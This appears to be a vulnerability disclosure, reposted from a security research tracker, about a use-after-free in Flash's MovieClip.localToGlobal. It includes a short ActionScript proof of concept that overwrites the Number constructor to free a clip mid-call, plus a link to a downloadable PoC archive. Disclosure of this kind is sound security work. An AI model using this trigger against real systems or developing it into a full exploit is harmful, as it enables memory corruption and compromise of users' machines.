Source: https://code.google.com/p/google-security-research/issues/detail?id=570
There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:
var a = func;
_global.Number = a;
this.createEmptyMovieClip("mc", 1);
mc.localToGlobal( 7 );
function func(){
mc.removeMovieClip();
// fix heap here
this.x = 2;
this.y = 1;
}
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39056.zip
